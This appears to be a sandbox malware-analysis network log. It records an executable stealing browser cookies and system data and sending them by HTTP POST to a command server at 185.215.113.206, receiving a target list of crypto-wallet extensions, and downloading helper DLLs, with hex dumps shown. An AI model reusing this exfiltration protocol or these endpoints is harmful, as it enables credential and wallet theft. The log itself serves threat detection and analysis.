Oct 29, 2024 06:59:02.280210018 CET	1236	IN	Data Raw: 61 57 70 74 5a 32 35 73 62 57 70 6c 5a 57 64 71 59 57 64 73 62 57 56 77 59 6d 31 77 61 33 42 70 66 44 46 38 4d 48 77 77 66 46 52 79 5a 58 70 76 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d Data Ascii: aWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGF
Oct 29, 2024 06:59:02.280242920 CET	1236	IN	Data Raw: 61 57 4a 73 61 33 77 77 66 44 42 38 4d 58 78 55 63 6e 56 7a 64 43 42 58 59 57 78 73 5a 58 52 38 5a 57 64 71 61 57 52 71 59 6e 42 6e 62 47 6c 6a 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 Data Ascii: aWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx
Oct 29, 2024 06:59:02.280282021 CET	840	IN	Data Raw: 62 57 70 69 59 6d 39 6e 5a 6d 6c 70 59 57 39 6d 63 47 68 69 61 6d 64 6a 61 47 68 38 4d 58 77 77 66 44 42 38 56 6d 56 75 62 32 30 67 56 32 46 73 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 Data Ascii: bWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1
Oct 29, 2024 06:59:02.282892942 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHCGDGIEBKJKFHJJKFC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 66 39 38 61 62 36 30 65 65 38 66 64 32 63 64 66 36 34 36 31 66 63 61 33 39 65 35 36 35 61 32 37 64 34 35 33 37 63 65 62 36 63 30 66 62 33 32 64 33 64 38 65 39 39 34 33 36 66 64 33 31 31 38 35 36 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="message"fplugins------GDHCGDGIEBKJKFHJJKFC--
Oct 29, 2024 06:59:02.565104961 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 29, 2024 06:59:02.600471020 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEBKKEGDBFIIEBFHIEH Host: 185.215.113.206 Content-Length: 6967 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 06:59:02.600563049 CET	6967	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 Data Ascii: ------IJEBKKEGDBFIIEBFHIEHContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------IJEBKKEGDBFIIEBFHIEHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 29, 2024 06:59:03.402636051 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 06:59:03.798476934 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 06:59:04.081708908 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 29, 2024 06:59:04.081734896 CET	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49735	185.215.113.206	80	1996	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 06:59:15.280972958 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJECAAKKFHCFIECAAAKE Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 06:59:15.281004906 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 Data Ascii: ------HJECAAKKFHCFIECAAAKEContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------HJECAAKKFHCFIECAAAKEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Oct 29, 2024 06:59:16.703531027 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 06:59:16.874243021 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCBAAAFHJDHJJKEBGHI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 66 39 38 61 62 36 30 65 65 38 66 64 32 63 64 66 36 34 36 31 66 63 61 33 39 65 35 36 35 61 32 37 64 34 35 33 37 63 65 62 36 63 30 66 62 33 32 64 33 64 38 65 39 39 34 33 36 66 64 33 31 31 38 35 36 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="file"------EHCBAAAFHJDHJJKEBGHI--
Oct 29, 2024 06:59:17.654197931 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49888	185.215.113.206	80	1996	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 06:59:32.634855986 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIEGHJJDGHCAKEBGIJK Host: 185.215.113.206 Content-Length: 7839 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 06:59:32.635000944 CET	7839	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 Data Ascii: ------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Oct 29, 2024 06:59:34.038774014 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 06:59:34.187768936 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFBGHCAKKFCAKEBKJKK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 66 39 38 61 62 36 30 65 65 38 66 64 32 63 64 66 36 34 36 31 66 63 61 33 39 65 35 36 35 61 32 37 64 34 35 33 37 63 65 62 36 63 30 66 62 33 32 64 33 64 38 65 39 39 34 33 36 66 64 33 31 31 38 35 36 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="file"------DAFBGHCAKKFCAKEBKJKK--
Oct 29, 2024 06:59:34.964931011 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 06:59:35.605808973 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 06:59:35.882694960 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 29, 2024 06:59:35.882731915 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Oct 29, 2024 06:59:35.882791042 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Oct 29, 2024 06:59:35.882842064 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Oct 29, 2024 06:59:35.882877111 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Oct 29, 2024 06:59:35.882929087 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Oct 29, 2024 06:59:35.882963896 CET	1072	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Oct 29, 2024 06:59:35.882997036 CET	1236	IN	Data Raw: eb c1 66 0f 70 c8 55 66 0f eb c8 66 0f 7e 4d e0 8b 55 c8 39 55 d4 8b 45 d0 75 0e 8a 55 e8 8b 4d ec 8b 7d e4 8b 5d dc eb 3f 8d 0c d5 00 00 00 00 8b 75 10 03 75 cc 8b 5d d4 8b 7d e0 0f 1f 84 00 00 00 00 00 0f b6 04 16 d3 e0 09 c7 83 c1 08 83 c2 01 Data Ascii: fpUff~MU9UEuUM}]?uu]}9u}UM}]Et5UM9M]]}<+ET}:M1}]fEUEEUD}474
Oct 29, 2024 06:59:35.883030891 CET	1236	IN	Data Raw: 33 95 c4 fe ff ff 89 cf 31 f7 89 d6 0f a4 fe 08 0f a4 d7 08 8b 8d 74 ff ff ff 8b 51 08 89 95 0c ff ff ff 01 d3 8b 49 0c 89 8d 10 ff ff ff 8b 55 c8 11 ca 01 fb 89 5d b4 11 f2 89 55 c8 31 d0 8b 95 50 ff ff ff 31 da 89 d3 0f a4 c3 10 89 5d a0 0f ac Data Ascii: 31tQIU]U1P1]PMMEE11xptJ@FR<NF(]F,~L1FH1h5l>+;]
Oct 29, 2024 06:59:35.883064032 CET	1236	IN	Data Raw: 0f a4 fe 08 0f a4 cf 08 89 7d ac 8b bd 74 ff ff ff 8b 4f 58 89 8d 20 ff ff ff 8b 45 d4 01 c8 8b 4f 5c 89 8d 48 ff ff ff 8b 7d cc 11 cf 03 45 ac 89 45 d4 11 f7 89 7d cc 31 fb 8b 4d a0 31 c1 89 c8 0f a4 d8 10 89 45 9c 0f ac d9 10 89 4d a0 01 ca 89 Data Ascii: }tOX EO\H}EE}1M1EMU}}1M1\|MtJ`ERdM\E]Mu1uT1TEE}11tqh$Uql
Oct 29, 2024 06:59:36.862889051 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 06:59:37.153232098 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 29, 2024 06:59:37.657272100 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 06:59:37.934839010 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
